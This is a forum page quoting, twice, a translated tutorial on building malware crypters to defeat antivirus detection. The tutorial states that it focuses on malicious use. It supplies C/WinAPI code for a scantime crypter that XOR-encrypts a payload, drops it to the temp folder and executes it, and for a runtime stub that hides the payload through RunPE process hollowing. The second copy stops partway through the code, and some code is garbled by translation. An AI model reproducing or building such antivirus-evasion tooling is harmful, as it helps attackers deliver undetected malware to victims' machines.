Reply to thread

Message

<blockquote data-quote="Geniu" data-source="post: 397" data-attributes="member: 13">Eh, how I missed this material in the beginning ...Required:Knowledge of C / C ++Knowledge of WinAPI and its documentationKnowledge of basic cryptologyKnowing the structure of the PE fileKnowledge of Windows (virtual) memoryKnowledge of processes and threads.The two sides of cryptographyWhen we describe cryptography, it usually includes something like &quot;a means of hiding to prevent unwanted access to information.&quot; Most of us see it as such, as a defense mechanism with applications from secrets to even stop malicious activity. Of course, we expect this, since it was invented with the sole purpose of turning any prying eyes away from data, however, as we will see shortly, cryptography has evolved into something much more.If we use cryptography to defend against malicious activity, we can see the potential for malicious protection, that is, develop malware that takes advantage of the benefits provided by cryptography. These types of malware are already very visible in the modern era, some popular examples include ransomware and asymmetric backdoors, which are mostly about public key cryptography.Antivirus mechanismsIn order to be able to develop a protective measure against antivirus software, we must first identify the details that we are trying to defeat. I will briefly discuss the two main methods that antivirus software uses to detect unwanted applications.Detection based on signaturesAs the name suggests, signature-based detection is a technique that cross-references and matches application signatures against a corresponding database of known malware. It is an effective measure to prevent and contain previous malware. Think of it as a vaccine for cars.Heuristic detectionWhile signature-based detection can prevent most previously known malware, it has its drawbacks because malware authors can apply a layer of protection against this approach, such as polymorphic and / or metamorphic code. Heuristic detection attempts to monitor the behavior and characteristics of an application and to reference it with known malicious behavior. Please note that this can only happen if the application is running.Of course, antivirus software is much, much more advanced than that. As this is outside the scope of my article and I understand that I will not cover this information.Introduction to CryptorsFor those who do not know what cryptors are, they are designed to protect information in a file (usually some kind of executable format), and when executed, they may be able to provide said information unchanged after extracting it using a decryption procedure. Note that while cryptors can be used with malicious intent, they are also popular for obfuscating data to prevent reverse engineering. In this article, we will focus on malicious use. So how does it work? Let&#039;s start by defining cryptors and looking at a graphical representation of how they work. The cryptor is responsible for encrypting the target.+-----------+ +---------+ +----------------+ +------+| Your file | -&gt; | Crypter | =&gt; | Encrypted file | + | Stub |+-----------+ +---------+ +----------------+ +------+Stub is a sector of the encrypted object that provides extraction and, sometimes, execution of the specified object.+----------------+ +------+ +---------------+| Encrypted file | + | Stub | = Execution =&gt; | Original File |+----------------+ +------+ +---------------+Scantime CryptorsThese types of ciphers are called scantime because of their ability to hide data on disk, where, for example, antivirus software can run a file scan with signature-based detection. At this point, antivirus software will never be able to detect any malicious activity, provided the application obfuscation is reliable.Runtime cryptorsThese cryptographic devices take it to the next level by deobfuscating data at startup in memory as needed. Thus, the antivirus will allow it to be downloaded and executed before it can react to any malicious activity. It is possible that malware initiates antivirus software heuristic-based detection at runtime, so malware authors should be careful. Now that we&#039;ve covered a high level, let&#039;s see an example of how both types are implemented.Writing a Scantime CryptorScantime cryptor is simpler as it does not require knowledge of virtual memory and processes / threads. Basically, a stub will deobfuscate a file by dragging it to disk somewhere and then executing it.Cryptor and stub pseudocode1. Check if there is a command line argument+ -&gt; 2. If there is a command line argument, act as a cryptor| 3. Open the target file| 4. Read the contents of the file| 5. Encrypt the contents of the file| 6. Create a new file| 7. Write the ciphertext to a new file| 8. Done|+ -&gt; 2. If no command line argument, act as stub3. Open the encrypted file4. Read the contents of the file5. Decrypt the contents of the file6. Create a temporary file7. Write the decrypted text to a temporary file8. Execute the file9. DoneThis construct implements both a crypter and a stub in the same executable, and we can do this because the two procedures are very similar to each other. Let&#039;s take a look at the possible design of the code.First, we will need to define the main and two conditions that determine the execution of a crypter or stub.Code:int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {&nbsp; &nbsp;&nbsp; if (__argc &lt;2) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // stub branch&nbsp; &nbsp;&nbsp; } else {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // cryptor branch&nbsp; &nbsp;&nbsp; }&nbsp; &nbsp;&nbsp; return EXIT_SUCCESS;}Since we are defining the application as a windowed application, we cannot get argcand argvas usual in a console application, but Microsoft has provided a solution for this with __argcand __argv. If the command line argument __argv[1]exists, the application will try to encrypt the specified file, otherwise it will try to decrypt the existing file encrypted with the cryptor.Moving on to the cryptor branch, we will require a descriptor of the specified file __argv[1]and its size so that we can copy its bytes into the buffer for encryption.Code:int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {&nbsp; &nbsp;&nbsp; if (__argc &lt;2) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // stub branch&nbsp; &nbsp;&nbsp; } else {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // cryptor branch&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // open the file for encryption&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; HANDLE hFile = CreateFile (__ argv [1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // get the file size&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; DWORD dwFileSize = GetFileSize (hFile, NULL);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // encrypt and get encrypted bytes&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; LPVOID lpFileBytes = Crypt (hFile, dwFileSize);&nbsp; &nbsp;&nbsp; }&nbsp; &nbsp;&nbsp; return EXIT_SUCCESS;}The Crypt function will essentially read the contents of the file into a buffer, then glue them together, and then return a pointer to the buffer with the encrypted bytes.Code:LPVOID Crypt (HANDLE hFile, DWORD dwFileSize) {&nbsp; &nbsp;&nbsp; // allocate memory for a buffer that will store data from the file&nbsp; &nbsp;&nbsp; LPVOID lpFileBytes = malloc (dwFileSize);&nbsp; &nbsp;&nbsp; // read the file into the buffer&nbsp; &nbsp;&nbsp; ReadFile (hFile, lpFileBytes, dwFileSize, NULL, NULL);&nbsp; &nbsp;&nbsp; // perform encryption using the XOR method&nbsp; &nbsp;&nbsp; int i;&nbsp; &nbsp;&nbsp; for (i = 0; i &lt;dwFileSize; i ++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * ((LPBYTE) lpFileBytes + i) ^ = Key [i% sizeof (Key)];&nbsp; &nbsp;&nbsp; }&nbsp; &nbsp;&nbsp; return lpFileBytes;}Now that we have the encrypted bytes, we will need to create a new file and then write those bytes to it.Code:int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {&nbsp; &nbsp;&nbsp; if (__argc &lt;2) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // stub branch&nbsp; &nbsp;&nbsp; } else {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // cryptor branch&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; ...&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // get the name of the encrypted file&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; CHAR szCryptedFileName [MAX_PATH];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; GetCurrentDirectory (MAX_PATH, szCryptedFileName);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; strcat (szCryptedFileName, &quot;\\&quot;);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; strcat (szCryptedFileName, CRYPTED_FILE);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // open a handle to a new encrypted file&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; HANDLE hCryptedFile = CreateFile (szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // write to encrypted file&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; WriteFile (hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; CloseHandle (hCryptedFile);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; free (lpFileBytes);&nbsp; &nbsp;&nbsp; }&nbsp; &nbsp;&nbsp; return EXIT_SUCCESS;}And that&#039;s pretty much all for the crypter section. Please note that we used simple XOR to encrypt the contents of the file, which may not be enough if we have a small key. If we want to be more secure, we can use other encryption schemes like RC4 or (x) TEA. We do not require full fledged end-to-end crypto algorithms, as the goal is to avoid signature-based detection.Let&#039;s get on with our work. For the stub, we want to get the encrypted file in its current directory and then write the decrypted content to a temporary file for execution.We&#039;ll start by getting the current directory, then open the file and get the size of the file.Code:int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {&nbsp; &nbsp;&nbsp; if (__argc &lt;2) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // stub branch&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // get the target - an encrypted file&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; CHAR szEncryptedFileName [MAX_PATH];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; GetCurrentDirectory (MAX_PATH, szEncryptedFileName);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; strcat (szEncryptedFileName, &quot;\\&quot;);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; strcat (szEncryptedFileName, CRYPTED_FILE);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // get file descriptor&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; HANDLE hFile = CreateFile (szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // get the file size&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; DWORD dwFileSize = GetFileSize (hFile, NULL);&nbsp; &nbsp;&nbsp; } else {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // cryptor branch&nbsp; &nbsp;&nbsp; }&nbsp; &nbsp;&nbsp; return EXIT_SUCCESS;}Pretty much the same as the cryptor branch. We then read the contents of the file and get the decrypted bytes. Since the XOR operation restores the values given by the common bit, we can simply reuse the Crypt function. After that, we will need to create a temporary file and write the decrypted bytes into it.Code:int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {&nbsp; &nbsp; if (__argc &lt;2) {&nbsp; &nbsp; &nbsp; &nbsp; // stub branch&nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...&nbsp; &nbsp; &nbsp; &nbsp; // decrypt and get decrypted bytes&nbsp; &nbsp; &nbsp; &nbsp; LPVOID lpFileBytes = Crypt (hFile, dwFileSize);&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle (hFile);&nbsp; &nbsp; &nbsp; &nbsp; // get file in temp directory&nbsp; &nbsp; &nbsp; &nbsp; CHAR szTempFileName [MAX_PATH];&nbsp; &nbsp; &nbsp; &nbsp; GetTempPath (MAX_PATH, szTempFileName);&nbsp; &nbsp; &nbsp; &nbsp; strcat (szTempFileName, DECRYPTED_FILE);&nbsp; &nbsp; &nbsp; &nbsp; // open a descriptor for a temporary file&nbsp; &nbsp; &nbsp; &nbsp; HANDLE hTempFile = CreateFile (szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);&nbsp; &nbsp; &nbsp; &nbsp; // write to temporary file&nbsp; &nbsp; &nbsp; &nbsp; WriteFile (hTempFile, lpFileBytes, dwFileSize, NULL, NULL);&nbsp; &nbsp; &nbsp; &nbsp; // clear memory&nbsp; &nbsp; &nbsp; &nbsp; CloseHandle (hTempFile);&nbsp; &nbsp; &nbsp; &nbsp; free (lpFileBytes);&nbsp; &nbsp; } else {&nbsp; &nbsp; &nbsp; &nbsp; cryptor branch&nbsp; &nbsp; }&nbsp; &nbsp; return EXIT_SUCCESS;}Finally, we will need to execute the decrypted application.Code:int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {&nbsp; &nbsp;&nbsp; if (__argc &lt;2) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // stub branch&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; ...&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // execute the file&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; ShellExecute (NULL, NULL, szTempFileName, NULL, NULL, 0);&nbsp; &nbsp;&nbsp; } else {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // cryptor branch&nbsp; &nbsp;&nbsp; }&nbsp; &nbsp;&nbsp; return EXIT_SUCCESS;}Please note that once a decrypted application is written to disk, it will be susceptible to detection based on antivirus software signatures and will likely be detected by most antivirus software. Because of this, malware authors require something that will allow their applications to run without this flaw.This ends the scantime crypter.Writing a Runtime CryptorTo save runtime, I will only cover the stub as it involves more complex stuff, so we will assume the application is already encrypted. A popular technique these cryptors use is called RunPE or Dynamic Forking / Process Hollowing. How it works, stub will first decrypt the encrypted bytes of the application and then emulate the Windows bootloader by unloading them into the virtual memory space of the suspended process. Once this is complete, the stub will resume the suspended process and finish.Stub pseudocode1. Decrypt application2. Create a suspended process3. Save the context of the process flow4. Empty the process virtual space5. Allocate virtual memory6. Write the title and sections of the application to the allocated memory7. Set modified stream context8. Continue the process9. DoneAs we can see, this requires quite a bit of knowledge about the internals of Windows, including PE file structure, Windows memory manipulation, and processes / threads. I highly recommend the reader to study these basics in order to understand the following material.First, let&#039;s set up two routines, one to decrypt the encrypted application, and the other to load it into memory for execution.Code:int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {&nbsp; &nbsp; Decrypt();&nbsp; &nbsp; RunPE();&nbsp; &nbsp; return EXIT_SUCCESS;}The function Decryptwill completely depend on the encryption scheme used to encrypt the application, but here is a sample code using XOR.Code:VOID Decrypt(VOID) {&nbsp; &nbsp; int i;&nbsp; &nbsp; for (i = 0; i &lt; sizeof(Shellcode); i++) {&nbsp; &nbsp; &nbsp; &nbsp; Shellcode ^= Key[i % sizeof(Key)];&nbsp; &nbsp; }}Now that the app has been decrypted, let&#039;s see where the magic happens. Here we will check if the application is a valid PE file by checking the DOS and PE signatures.Code:VOID RunPE (VOID) {&nbsp; &nbsp;&nbsp; // check DOS signature&nbsp; &nbsp;&nbsp; PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER) Shellcode;&nbsp; &nbsp;&nbsp; if (pidh-&gt; e_magic! = IMAGE_DOS_SIGNATURE) return;&nbsp; &nbsp;&nbsp; // check the PE signature&nbsp; &nbsp;&nbsp; PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS) ((DWORD) Shellcode + pidh-&gt; e_lfanew);&nbsp; &nbsp;&nbsp; if (pinh-&gt; Signature! = IMAGE_NT_SIGNATURE) return;}We will now create a suspended process.Code:VOID RunPE (VOID) {&nbsp; &nbsp;&nbsp; ...&nbsp; &nbsp;&nbsp; // get the file name&nbsp; &nbsp;&nbsp; CHAR szFileName [MAX_PATH];&nbsp; &nbsp;&nbsp; GetModuleFileName (NULL, szFileName, MAX_PATH);&nbsp; &nbsp;&nbsp; // initialize startup and process information&nbsp; &nbsp;&nbsp; STARTUPINFO si;&nbsp; &nbsp;&nbsp; PROCESS_INFORMATION pi;&nbsp; &nbsp;&nbsp; ZeroMemory (&amp; si, sizeof (si));&nbsp; &nbsp;&nbsp; ZeroMemory (.pi, sizeof (pi));&nbsp; &nbsp;&nbsp; // need to set si.cb size before use&nbsp; &nbsp;&nbsp; si.cb = sizeof (si);&nbsp; &nbsp;&nbsp; // create a suspended process&nbsp; &nbsp;&nbsp; CreateProcess (szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &amp; si, &amp; pi);}Code:VOID RunPE (VOID) {&nbsp; &nbsp;&nbsp; ...&nbsp; &nbsp;&nbsp; // get the thread context&nbsp; &nbsp;&nbsp; CONTEXT ctx;&nbsp; &nbsp;&nbsp; ctx.ContextFlags = CONTEXT_FULL;&nbsp; &nbsp;&nbsp; GetThreadContext (pi.Thread, &amp; ctx);}And now let&#039;s free up the virtual memory area of the process so that we can allocate our own space for the application. To do this, we need a function that is not available to us, so we need a function pointer for the dynamically retrieved function from the DLL ntdll.dll.Code:typedef NTSTATUS (* fZwUnmapViewOfSection) (HANDLE, PVOID);VOID RunPE (VOID) {&nbsp; &nbsp;&nbsp; ...&nbsp; &nbsp;&nbsp; // dynamically retrieves the ZwUnmapViewOfSection function from the ntdll.dll file&nbsp; &nbsp;&nbsp; fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection) GetProcAddress (GetModuleHandle (&quot;ntdll.dll&quot;), &quot;ZwUnmapViewOfSection&quot;);&nbsp; &nbsp;&nbsp; // hollow process at virtual memory address &#039;pinh-&gt; OptionalHeader.ImageBase&#039;&nbsp; &nbsp;&nbsp; pZwUnMapViewOfSection (pi.hProcess, (PVOID) pinh-&gt; OptionalHeader.ImageBase);&nbsp; &nbsp;&nbsp; // allocate virtual memory at &#039;pinh-&gt; OptionalHeader.ImageBase&#039; of size `pinh-&gt; OptionalHeader.SizeofImage` with RWX permissions&nbsp; &nbsp;&nbsp; LPVOID lpBaseAddress = VirtualAllocEx (pi.hProcess, (LPVOID) pinh-&gt; OptionalHeader.ImageBase, pinh-&gt; OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);}Since the suspended process has its own content inside its virtual memory space, we must remove it from memory and then allocate it for ourselves so that we have the correct access and permissions to load the image of our application. We will do this using the WriteProcessMemory function. First, we need to write the headers and then each section separately, like the Windows bootloader. This section requires a deep understanding of the structure of the PE file.Code:VOID RunPE (VOID) {&nbsp; &nbsp;&nbsp; ...&nbsp; &nbsp;&nbsp; // write the title&nbsp; &nbsp;&nbsp; WriteProcessMemory (pi.hProcess, (LPVOID) pinh-&gt; OptionalHeader.ImageBase, Shellcode, pinh-&gt; OptionalHeader.SizeOfHeaders, NULL);&nbsp; &nbsp;&nbsp; // write each section&nbsp; &nbsp;&nbsp; int i;&nbsp; &nbsp;&nbsp; for (i = 0; i &lt;pinh-&gt; FileHeader.NumberOfSections; i ++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // calculate and get the i-th section&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER) ((DWORD) Shellcode + pidh-&gt; e_lfanew + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER) * i);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; // write section data&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; WriteProcessMemory (pi.hProcess, (LPVOID) (lpBaseAddress + pish-&gt; VirtualAddress), (LPVOID) ((DWORD) Shellcode + pish-&gt; PointerToRawData), pish-&gt; SizeOfRawData, NULL);&nbsp; &nbsp;&nbsp; }}Now that everything is in place, we will simply change the entry point context address and then resume the suspended thread.Code:VOID RunPE (VOID) {&nbsp; &nbsp;&nbsp; ...&nbsp; &nbsp;&nbsp; // set the corresponding entry point address&nbsp; &nbsp;&nbsp; ctx.Eax = pinh-&gt; OptionalHeader.ImageBase + pinh-&gt; OptionalHeader.AddressOfEntryPoint;&nbsp; &nbsp;&nbsp; SetThreadContext (pi.hThread, &amp; ctx);&nbsp;&nbsp; &nbsp;&nbsp; // restore and execute our application&nbsp; &nbsp;&nbsp; ResumeThread (pi.hThread);}The app is now running in memory and hopefully the antivirus software won&#039;t detect it.ConclusionHopefully at least the high level and some of the low level concepts have been reasonably well informed to the reader. If some things are still completely incomprehensible, I would highly recommend introspection on the topics listed at the beginning of this article. If some small things are a little unclear, feel free to ask. It was not aimed at an entry-level audience.</blockquote>

[QUOTE="Geniu, post: 397, member: 13"] Eh, how I missed this material in the beginning ... Required: Knowledge of C / C ++ Knowledge of WinAPI and its documentation Knowledge of basic cryptology Knowing the structure of the PE file Knowledge of Windows (virtual) memory Knowledge of processes and threads. [B]The two sides of cryptography[/B] When we describe cryptography, it usually includes something like "a means of hiding to prevent unwanted access to information." Most of us see it as such, as a defense mechanism with applications from secrets to even stop malicious activity. Of course, we expect this, since it was invented with the sole purpose of turning any prying eyes away from data, however, as we will see shortly, cryptography has evolved into something much more. If we use cryptography to defend against malicious activity, we can see the potential for malicious protection, that is, develop malware that takes advantage of the benefits provided by cryptography. These types of malware are already very visible in the modern era, some popular examples include ransomware and asymmetric backdoors, which are mostly about public key cryptography. [B]Antivirus mechanisms[/B] In order to be able to develop a protective measure against antivirus software, we must first identify the details that we are trying to defeat. I will briefly discuss the two main methods that antivirus software uses to detect unwanted applications. [B]Detection based on signatures[/B] As the name suggests, signature-based detection is a technique that cross-references and matches application signatures against a corresponding database of known malware. It is an effective measure to prevent and contain previous malware. Think of it as a vaccine for cars. [B]Heuristic detection[/B] While signature-based detection can prevent most previously known malware, it has its drawbacks because malware authors can apply a layer of protection against this approach, such as polymorphic and / or metamorphic code. Heuristic detection attempts to monitor the behavior and characteristics of an application and to reference it with known malicious behavior. Please note that this can only happen if the application is running. Of course, antivirus software is much, much more advanced than that. As this is outside the scope of my article and I understand that I will not cover this information. [B]Introduction to Cryptors[/B] For those who do not know what cryptors are, they are designed to protect information in a file (usually some kind of executable format), and when executed, they may be able to provide said information unchanged after extracting it using a decryption procedure. Note that while cryptors can be used with malicious intent, they are also popular for obfuscating data to prevent reverse engineering. In this article, we will focus on malicious use. So how does it work? Let's start by defining cryptors and looking at a graphical representation of how they work. The cryptor is responsible for encrypting the target. +-----------+ +---------+ +----------------+ +------+ | Your file | -> | Crypter | => | Encrypted file | + | Stub | +-----------+ +---------+ +----------------+ +------+ Stub is a sector of the encrypted object that provides extraction and, sometimes, execution of the specified object. +----------------+ +------+ +---------------+ | Encrypted file | + | Stub | = Execution => | Original File | +----------------+ +------+ +---------------+ [B]Scantime Cryptors[/B] These types of ciphers are called scantime because of their ability to hide data on disk, where, for example, antivirus software can run a file scan with signature-based detection. At this point, antivirus software will never be able to detect any malicious activity, provided the application obfuscation is reliable. [B]Runtime cryptors[/B] These cryptographic devices take it to the next level by deobfuscating data at startup in memory as needed. Thus, the antivirus will allow it to be downloaded and executed before it can react to any malicious activity. It is possible that malware initiates antivirus software heuristic-based detection at runtime, so malware authors should be careful. Now that we've covered a high level, let's see an example of how both types are implemented. [B]Writing a Scantime Cryptor[/B] Scantime cryptor is simpler as it does not require knowledge of virtual memory and processes / threads. Basically, a stub will deobfuscate a file by dragging it to disk somewhere and then executing it. [B]Cryptor and stub pseudocode[/B] 1. Check if there is a command line argument + -> 2. If there is a command line argument, act as a cryptor | 3. Open the target file | 4. Read the contents of the file | 5. Encrypt the contents of the file | 6. Create a new file | 7. Write the ciphertext to a new file | 8. Done | + -> 2. If no command line argument, act as stub 3. Open the encrypted file 4. Read the contents of the file 5. Decrypt the contents of the file 6. Create a temporary file 7. Write the decrypted text to a temporary file 8. Execute the file 9. Done This construct implements both a crypter and a stub in the same executable, and we can do this because the two procedures are very similar to each other. Let's take a look at the possible design of the code. First, we will need to define the main and two conditions that determine the execution of a crypter or stub. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch } else { // cryptor branch } return EXIT_SUCCESS; } Since we are defining the application as a windowed application, we cannot get argcand argvas usual in a console application, but Microsoft has provided a solution for this with __argcand __argv. If the command line argument __argv[1]exists, the application will try to encrypt the specified file, otherwise it will try to decrypt the existing file encrypted with the cryptor. Moving on to the cryptor branch, we will require a descriptor of the specified file __argv[1]and its size so that we can copy its bytes into the buffer for encryption. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch } else { // cryptor branch // open the file for encryption HANDLE hFile = CreateFile (__ argv [1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // get the file size DWORD dwFileSize = GetFileSize (hFile, NULL); // encrypt and get encrypted bytes LPVOID lpFileBytes = Crypt (hFile, dwFileSize); } return EXIT_SUCCESS; } The Crypt function will essentially read the contents of the file into a buffer, then glue them together, and then return a pointer to the buffer with the encrypted bytes. Code: LPVOID Crypt (HANDLE hFile, DWORD dwFileSize) { // allocate memory for a buffer that will store data from the file LPVOID lpFileBytes = malloc (dwFileSize); // read the file into the buffer ReadFile (hFile, lpFileBytes, dwFileSize, NULL, NULL); // perform encryption using the XOR method int i; for (i = 0; i <dwFileSize; i ++) { * ((LPBYTE) lpFileBytes + i) ^ = Key [i% sizeof (Key)]; } return lpFileBytes; } Now that we have the encrypted bytes, we will need to create a new file and then write those bytes to it. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch } else { // cryptor branch ... // get the name of the encrypted file CHAR szCryptedFileName [MAX_PATH]; GetCurrentDirectory (MAX_PATH, szCryptedFileName); strcat (szCryptedFileName, "\\"); strcat (szCryptedFileName, CRYPTED_FILE); // open a handle to a new encrypted file HANDLE hCryptedFile = CreateFile (szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // write to encrypted file WriteFile (hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL); CloseHandle (hCryptedFile); free (lpFileBytes); } return EXIT_SUCCESS; } And that's pretty much all for the crypter section. Please note that we used simple XOR to encrypt the contents of the file, which may not be enough if we have a small key. If we want to be more secure, we can use other encryption schemes like RC4 or (x) TEA. We do not require full fledged end-to-end crypto algorithms, as the goal is to avoid signature-based detection. Let's get on with our work. For the stub, we want to get the encrypted file in its current directory and then write the decrypted content to a temporary file for execution. We'll start by getting the current directory, then open the file and get the size of the file. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch // get the target - an encrypted file CHAR szEncryptedFileName [MAX_PATH]; GetCurrentDirectory (MAX_PATH, szEncryptedFileName); strcat (szEncryptedFileName, "\\"); strcat (szEncryptedFileName, CRYPTED_FILE); // get file descriptor HANDLE hFile = CreateFile (szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // get the file size DWORD dwFileSize = GetFileSize (hFile, NULL); } else { // cryptor branch } return EXIT_SUCCESS; } Pretty much the same as the cryptor branch. We then read the contents of the file and get the decrypted bytes. Since the XOR operation restores the values given by the common bit, we can simply reuse the Crypt function. After that, we will need to create a temporary file and write the decrypted bytes into it. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch ... // decrypt and get decrypted bytes LPVOID lpFileBytes = Crypt (hFile, dwFileSize); CloseHandle (hFile); // get file in temp directory CHAR szTempFileName [MAX_PATH]; GetTempPath (MAX_PATH, szTempFileName); strcat (szTempFileName, DECRYPTED_FILE); // open a descriptor for a temporary file HANDLE hTempFile = CreateFile (szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // write to temporary file WriteFile (hTempFile, lpFileBytes, dwFileSize, NULL, NULL); // clear memory CloseHandle (hTempFile); free (lpFileBytes); } else { cryptor branch } return EXIT_SUCCESS; } Finally, we will need to execute the decrypted application. Code: int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc <2) { // stub branch ... // execute the file ShellExecute (NULL, NULL, szTempFileName, NULL, NULL, 0); } else { // cryptor branch } return EXIT_SUCCESS; } Please note that once a decrypted application is written to disk, it will be susceptible to detection based on antivirus software signatures and will likely be detected by most antivirus software. Because of this, malware authors require something that will allow their applications to run without this flaw. This ends the scantime crypter. [B]Writing a Runtime Cryptor[/B] To save runtime, I will only cover the stub as it involves more complex stuff, so we will assume the application is already encrypted. A popular technique these cryptors use is called RunPE or Dynamic Forking / Process Hollowing. How it works, stub will first decrypt the encrypted bytes of the application and then emulate the Windows bootloader by unloading them into the virtual memory space of the suspended process. Once this is complete, the stub will resume the suspended process and finish. [B]Stub pseudocode[/B] 1. Decrypt application 2. Create a suspended process 3. Save the context of the process flow 4. Empty the process virtual space 5. Allocate virtual memory 6. Write the title and sections of the application to the allocated memory 7. Set modified stream context 8. Continue the process 9. Done As we can see, this requires quite a bit of knowledge about the internals of Windows, including PE file structure, Windows memory manipulation, and processes / threads. I highly recommend the reader to study these basics in order to understand the following material. First, let's set up two routines, one to decrypt the encrypted application, and the other to load it into memory for execution. Code: int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { Decrypt(); RunPE(); return EXIT_SUCCESS; } The function Decryptwill completely depend on the encryption scheme used to encrypt the application, but here is a sample code using XOR. Code: VOID Decrypt(VOID) { int i; for (i = 0; i < sizeof(Shellcode); i++) { Shellcode[i] ^= Key[i % sizeof(Key)]; } } Now that the app has been decrypted, let's see where the magic happens. Here we will check if the application is a valid PE file by checking the DOS and PE signatures. Code: VOID RunPE (VOID) { // check DOS signature PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER) Shellcode; if (pidh-> e_magic! = IMAGE_DOS_SIGNATURE) return; // check the PE signature PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS) ((DWORD) Shellcode + pidh-> 